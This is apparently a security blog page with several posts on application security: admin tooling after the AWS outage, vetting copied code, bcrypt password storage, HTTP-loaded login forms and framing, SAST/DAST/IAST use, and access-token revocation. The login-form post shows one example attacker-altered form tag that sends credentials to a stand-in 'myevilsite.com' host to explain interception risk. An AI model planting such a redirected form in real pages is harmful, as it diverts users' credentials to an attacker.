DevelopSec

secure code

by Leave a Comment

Using the AWS disruption to your advantage

By now you have heard of the amazon issues that plagued many websites a few days ago. I want to talk about one key part of the issue that often gets overlooked. If you read through their message describing their service disruption (https://aws.amazon.com/message/41926/) you will notice a section where they discuss some changes to the tools they use to manage their systems.

So let’s take a step back for a moment. Amazon attributed the service disruption to basically a simple mistake when executing a command. Although following an established playbook, something was entered incorrectly, leading to the disruption. I don’t want to get into all the details about the disruption, but rather, lets fast forward to considering the tools that are used.

Whether we are developing applications for external use or tools used to manage our systems, we don’t always think about all the possible threat scenarios. Sure, we think about some of the common threats and put in some simple safeguards, but what about some of those more detailed issues.

In this case, the tools allowed manipulating sub-systems that shouldn’t have been possible. It allowed shutting systems down too quickly, which caused some issues. This is no different than many of the tools that we write. We understand the task and create something to make it happen. But then our systems get more complicated. They pull in other systems which have access to yet other systems. A change to something directly accessible has an effect on a system 3 hops away.

Now, the chances of this edge case from happening are probably pretty slim. The chances that this case was missed during design is pretty good. Especially if you are not regularly reassessing your systems. What may have not been possible 2 years ago when the system was created is now possible today.

Even with Threat Modeling and secure design, things change. If the tool isn’t being updated, then the systems it controls are. We must have the ability to learn from these situations and identify how we can apply them to our own situations. How many tools have you created that can control your systems where a simple wrong click or incorrect parameter can create a huge headache. Do you even understand your systems well enough to know if doing something too fast or too slow can cause a problem. What about the effect of shutting one machine down has on any other machines. Are there warning messages for things that may have adverse effects? Are there safeguards in place of someone doing something out of the norm?

We are all busy and going back through working systems isn’t a high priority. These tools/systems may require an addition of new features, which makes for a perfect time to reassess it. Like everything in security, peripheral vision is very important. When working on one piece, it is always good to peek at other code around it. Take the time to verify that everything is up to date and as expected. Not any changes and determine if any enhancements or redesign is in order. Most of the time, these are edge case scenarios, but they can have a big impact if they occur.

Jardine Software helps companies get more value from their application security programs. Let’s talk about how we can help you.

James Jardine is the CEO and Principal Consultant at Jardine Software Inc. He has over 15 years of combined development and security experience. If you are interested in learning more about Jardine Software, you can reach him at james@jardinesoftware.com or @jardinesoftware on twitter.

by Leave a Comment

Security Tips for Copy/Paste of Code From the Internet

Developing applications has long involved using code snippets found through textbooks or on the Internet. Rather than re-invent the wheel, it makes sense to identify existing code that helps solve a problem. It may also help speed up the development time.

Years ago, maybe 12, I remember a co-worker that had a SQL Injection vulnerability in his application. The culprit, code copied from someone else. At the time, I explained that once you copy code into your application it is now your responsibility.

Here, 12 years later, I still see this type of occurrence. Using code snippets directly from the web in the application. In many of these cases there may be some form of security weakness. How often do we, as developers, really analyze and understand all the details of the code that we copy?

Here are a few tips when working with external code brought into your application.

Understand what it does

If you were looking for code snippets, you should have a good idea of what the code will do. Better yet, you probably have an understanding of what you think that code will do. How vigorously do you inspect it to make sure that is all it does. Maybe the code performs the specific task you were set out to complete, but what happens if there are other functions you weren’t even looking for. This may not be as much a concern with very small snippets. However, with larger sections of code, it could coverup other functionality. This doesn’t mean that the functionality is intentionally malicious. But undocumented, unintended functionality may open up risk to the application.

Change any passwords or secrets

Depending on the code that you are searching, there may be secrets within it. For example, encryption routines are common for being grabbed off the Internet. To be complete, they contain hard-coded IVs and keys. These should be changed when imported into your projects to something unique. This could also be the case for code that has passwords or other hard-coded values that may provide access to the system.

As I was writing this, I noticed a post about the RadAsyncUpload control regarding the defaults within it. While this is not code copy/pasted from the Internet, it highlights the need to understand the default configurations and that some values should be changed to help provide better protections.

Look for potential vulnerabilities

In addition to the above concerns, the code may have vulnerabilities in it. Imagine a snippet of code used to select data from a SQL database. What if that code passed your tests of accurately pulling the queries, but uses inline SQL and is vulnerable to SQL Injection. The same could happen for code vulnerable to Cross-Site Scripting or not checking proper authorization.

We have to do a better job of performing code reviews on these external snippets, just as we should be doing it on our custom written internal code. Finding snippets of code that perform our needed functionality can be a huge benefit, but we can’t just assume it is production ready. If you are using this type of code, take the time to understand it and review it for potential issues. Don’t stop at just verifying the functionality. Take steps to vet the code just as you would any other code within your application.

Jardine Software helps companies get more value from their application security programs. Let’s talk about how we can help you.

James Jardine is the CEO and Principal Consultant at Jardine Software Inc. He has over 15 years of combined development and security experience. If you are interested in learning more about Jardine Software, you can reach him at james@jardinesoftware.com or @jardinesoftware on twitter.

by Leave a Comment

The 1 thing you need to know about the Daily Motion hack

It was just released that Daily Motion suffered a hack attack resulting in a large number of usernames and email addresses being released. Rather than focusing on the number of records received (the wow factor), I want to highlight what most places are just glancing over: Password Storage.

According to the report, only a small portion of the accounts had a password associated with it. That is in the millions, and you might be thinking this is bad. It is actually the highlight of the story. Why? Daily Motion used bcrypt to hash their user passwords before storing them.

Bcrypt uses both a salt value and a work factor when hashing the data. The salt has been a long time recommendation when hashing passwords as it can help reduce rainbow table attacks. The work factor, which has been recommended much more in recent years makes brute forcing passwords work intensive. This means that it requires more time per password, slowing down large cracking attacks.

Bcrypt is not the only option either. PBKDF and Scrypt are other available options that work in a similar way.

Using a strong algorithm makes it much more difficult to crack the passwords in the event that they are hacked some how. The use of any of these algorithms doesn’t rule out the possibility of cracking the passwords. They just make it much more difficult or time intensive. There are always circumstances that can change this. However, using one of these algorithms can go a long way in helping protect that data.

How are you storing passwords?

Take a moment to look at how you are storing passwords and consider how it will stand up in the event of breached account details. Do you use a unique salt for each password? Do you implement a work factor to slow cracking attempts down?

How would you handle this type of breach?

If accounts were to be breached like this, how would you handle it? Do you have a process in place? Would you force password resets? How would you notify users? Consider these types of questions to verify you have a plan in place.

James Jardine is the CEO and Principal Consultant at Jardine Software Inc. He has over 15 years of combined development and security experience. If you are interested in learning more about Jardine Software, you can reach him at james@jardinesoftware.com or @jardinesoftware on twitter.

by Leave a Comment

Login Forms and HTTP

Does your application have a login form? Do you deliver it over HTTPS to protect the username and password while being transmitted to the server? If you answered yes to both of those questions, are you sure?

Many years ago, before there was a huge push for HTTPS all the time, it was common practice for many applications to load a login form using HTTP, but then submit the form over HTTPS. This was accomplished by setting the action attribute of the form to the full HTTPS version of the site.

<form action=”https://www.somesite.com/login” method=”post”>

There was a flaw in this setup. The flaw is not even with the submission of your credentials. Instead, the issue is how that login form is initially loaded. Remember we said that the initial request was HTTP? The belief was that because the loading of the form doesn’t transmit any sensitive data, it would be ok to use HTTP. You could even take a trip back to the performance wars during that time stating that HTTP was much faster to load. (We learned a lot of the years).

The problem is that if there is a malicious user (attacker) on your same network that is able to redirect your traffic through them they could manipulate the initial load of the page. Imagine if the attacker intercepted your request to the login page (initial load) and changed the action of the form to a different site?

<form action=”http://myevilsite.com/login” method=”post”>

Notice how the new form submission will go to a different site, not even using HTTPS. From the end user’s point of view they wouldn’t even know the form was going to send their credentials to a different site.

Over the years, we have seen the use of this methodology shrinking down. Many sites are now loading their login forms all over HTTPS. As a matter of fact, many sites are 100% HTTPS.

But Wait!!

There is another angle to this that is often overlooked, but works very similar. Does your site allow it to be loaded into frames? I have seen a lot of sites that have been including another application’s login form using either frame sets or frames. The issue, the container site is often a simple marketing or branding site and runs over HTTP.

Like the above example, the HTTP site is including a frame reference to an HTTPS site. Again, the login form submission is still correct. However, it is possible that the attacker from the previous scenario could intercept the containing page and change the reference for the login frame. In this case, the attacker would most likely create a page that is identical to the real login form and point the frame to that one. The user would have no idea that the authentication page was incorrect, because it would look like the original. When the user submits their credentials, they would then be submitted to the malicious user instead of the real site.

It is recommended to not allow your site to be hosted within a sub frame. There are plenty of articles that discuss frame busting techniques and you could look into the X-Frame-Options header as well. If your form doesn’t load in a frame then your risk of being included on a non-secure site is reduced. For all other scenarios, there isn’t a lot of reason to not be using HTTPS from end to end. By securing all of the transactions, it reduces the risk that an attacker can easily manipulate that traffic.

by Leave a Comment

Does SAST and DAST Really Require Security Experts To Run Them?

There is no argument that automated tools help quickly identify many of the vulnerabilities found in applications today. Tools are typically categorized into one of the following three categories:

  • Dynamic Application Security Testing (DAST) – analyzes the running application.
  • Static Application Security Testing (SAST) – analyzes the source or byte code of the application.
  • Interactive Application Security Testing (IAST) – uses agents installed on the web server to instrument the application and analyze it at runtime. This gives access to both dynamic and static details.

These tools are becoming more popular within organizations as part of their application security programs. While there is still a large gap that can only be filled by manual testing, the automated tools are a good first step.

Are these security tools or development tools?

This depends on what your goal is. Ultimately, they are focused on finding security flaws which make them a “security” tool, however that doesn’t mean it is meant for the security team. I have been presenting for a long time on the idea that many of these tools should be considered development tools and placed in the hands of development and QA. To understand where they fit in your organization, you have to understand how you want to use them.

The application team should be using these tools to help quickly identify security bugs earlier on in the SDLC. To make this work efficiently, this should be considered a development tool. Let’s look at how SAST is used by developers. Developers have the ability to scan their source code using their chosen SAST tool. In many cases, these tools may provide an IDE plugin to make the process easier. As the developer writes their code, they can perform regular scans in smaller increments to quickly identify potential security threats. Once identified, the code can be corrected before it even leaves the development queue. In other instances, SAST is embedded into the continuous integration pipeline and scans can be run on check-in or other predefined activities. The results are immediately available to the development teams to review and make corrections.

The security team should be using these tools differently than the development teams. Security is typically more interested in the risk an application presents to the application. In the use of these tools, they provide valuable information that can be reported on to help analyze that risk. The security team should also be involved in the creation of policies and procedures around the implementation and use of the tools provided.

I thought only security experts can run these tools?

I believe this is a myth that only security experts can run these types of tools. Developers have long had static analysis tools built right into their IDEs, they just didn’t have a focus for security flaws. QA groups use all sorts of automated tools to assist in application testing. Lets take a look at each of the tool categories again.

DAST

Dynamic scanners usually require at minimum three pieces of information to get started: URL, Username, Password. Most of these scanners are either a windows or web application with a GUI. Setting up a scan is usually not to complex and fairly straightforward. I will admit that some applications, depending on how the login works or how routing is configured, can require a more complex setup. Depending on the scanner, you may be able to perform other advanced settings, but these are not difficult to learn.

Once the scan has completed, the results are provided in a GUI as well. The GUI typically provides a simple way to then view each of the findings identified, including the request and response the scanner sent and received. In dynamic scanning, the request and response are helpful in identifying where the issue is in the application. The tool will also usually provide a description of the vulnerability and references to more information. Based on my experience, reviewing findings in the provided GUI is much more efficient than trying to review an exported PDF of the results. A GUI that provides easy navigation is much better received than a 100-200 page PDF report that can’t really be consumed.

Dynamic scanning fits right into the QA process of scanners and can be easily executed by the QA or development team. This is good, because it can be executed against the QA or other pre-prod instances which are owned by the QA and development groups.

SAST

Static scanners analyze your binaries or source code. As expected, they need either the source code itself, or a compiled version of the code. Depending on the tool, you may have to submit the binaries to a service or select them using a local interface. The most difficult part in the process is usually getting the code to compile correctly with debug symbols and components. This compilation is usually done by the development team or DevOps if that has been implemented.

Once the scan is complete, the results are provided either in a web interface or in a local GUI. These results can then be inspected to view details about the issue, just like in the DAST solutions. The big difference being that in SAST you won’t see a request/response, rather you see the file and line of code indicated as well as the source and sink of the vulnerability. The source and sink help trace the data as it passes through the application to the vulnerable line of code. This is useful in helping understand the vulnerability to resolve it. There is a lot of efficiency gained in being able to view these details in a simple manner. The other option is exporting the results to a PDF file which is very inefficient.

Due to the results referencing source code, developers are put into an environment they understand. With some understanding of how security flaws work and are addressed, developers can review the results and take appropriate actions to address them.

IAST

Interactive testing uses an agent on the web server to instrument the application. Basically, it injects code into the application to analyze it as it runs. Due to performance hits, this is a great tool for pre-production environments. It also relies on the code being executed.. basically, if your application is not being used, it won’t analyze the code. This also makes it great for a QA environment or regression testing environment. The setup just requires installing the agent onto the server. The results are displayed, as they are found, in a web interface. These results include the source code and the request/response values. Having direct access to the tool provides an efficient way to view the details to then provide remediations to them.

Review how you use these tools

It has been my experience that more than just security experts can run any of these tools. There may be some tweaking that can be done and requires learning how the tools works, but this is something anyone on the dev or QA teams can adapt to. Take a look at your current program. If you are using any of these tools, look at how you are using them and who has access. Is your current process efficient? Does it make it harder than it needs to be? If you are not using these tools and looking to implement any of them, look at the resources you have and get the development teams involved. Think about where you want these tools to sit and how you want to take advantage of them. They don’t have to be locked down to a security team. Use the resources you have and allow the application teams to take ownership of the tools that will help them create more secure applications.

Jardine Software helps companies get more value from their application security programs. Let’s talk about how we can help you.

James Jardine is the CEO and Principal Consultant at Jardine Software Inc. He has over 15 years of combined development and security experience. If you are interested in learning more about Jardine Software, you can reach him at james@jardinesoftware.com or @jardinesoftware on twitter.

by Leave a Comment

Should Password Change Invalidate All Access Tokens?

Passwords are a part of our every day life. It is no wonder they are under such scrutiny, with many breaches focusing on them. We all know how to manage our passwords, or at least we should by now. We know that we should change our passwords every once in a while, especially if we believe they may have been a part of a recent breach. What about those access tokens?

Access tokens are typically used by your mobile devices to access your account without the need for you to enter in your username and password every time. In some situations, you may have to create an app password for your mobile device if you are using 2-factor authentication. This is because most applications still don’t support the 2-factor model. Instead, you create an application password and use that with your application.

Depending on your system, the management of these app passwords or tokens can vary quite a bit. In this post, I want to focus on how the ideal solution may work. First, the access tokens and the user’s password should not be related in any way. The closest they come to any relation is that they both provide authentication to the same application. This purpose here is that the compromise of one, does not compromise the other. While getting access to an access token may give me access to the account, it should not give me access to the password. If you are thinking that the access to the account means I could change the password, let me stop you right there. A good system would require the current password to be able to change the password. So this should be prohibited.

In the same vein, getting access to the account password should not lead to the compromise of the account’s access tokens. In a good system, there should be a way to manage these tokens, but that management should not include the ability to view existing tokens. Instead, that functionality is used to revoke an access token. In the instance of an application password (2-factor), you may also have the ability to create a new application password. This would still not give access to the existing password or token values.

So the question posed, or implied: If you change your account password, should that invalidate your devices?

If there is truly no relationship between the two items, and one doesn’t effect the other, then there may not be a reason to invalidate everything for every password change. As a good friend likes to always say, “what is the problem we are trying to solve?” So what is the problem? Let’s look at a few scenarios:

User just wanted to change their password

It is not unusual for a user to want to change their password. They may have even forgotten it. In this case, if the password and access tokens are unrelated, I don’t see a big risk around the access tokens that may have been created for other devices. The password should be completely separate from the access tokens and the change should have no impact to the mobile devices.

User’s password was leaked in a recent breach

This scenario is very similar to the one above. However, if an account has been compromised, it makes sense to review the devices that have been granted access and remove any that should not be there. The account compromise should not lead to the compromise of the access tokens already generated, but may enable the creation, or addition, of access tokens for new devices.

User’s device was lost or stolen

Something no one wants to think about, their device getting lost or stolen. In this case, the specific device’s access token has probably been compromised. This shouldn’t lead to a compromise of the user’s actual password. Like the above example, there should be a way for the user to log into their account and revoke access to that specific device, or worst case, all devices.

Should we, or shouldn’t we?

I don’t think there is an exact answer here. I think if done right, the two pieces are separate and stand alone. What happens to one, shouldn’t have an effect on the other. Unfortunately, that is not how things work in the real world. If you are a developer or architect designing these systems, take the time to consider these questions. Understand how your applications work, how the authentication pieces fit together, and how that will all tie together for the user experience. It may make sense to reset everything every time. On the flip side, it shouldn’t have to if designed properly. Remember the question: “What are we trying to solve?”

Application security is moving at a rapid pace, and it is great to see these types of topics coming up. As we start to raise more questions, we start to have more discussions. Share your feedback with us about this topic. Are there concerns that should be raised? Are there risks that should be considered? Share your thoughts with out on Twitter (@developsec).

Jardine Software helps companies get more value from their application security programs. Let’s talk about how we can help you.

James Jardine is the CEO and Principal Consultant at Jardine Software Inc. He has over 15 years of combined development and security experience. If you are interested in learning more about Jardine Software, you can reach him at james@jardinesoftware.com or @jardinesoftware on twitter.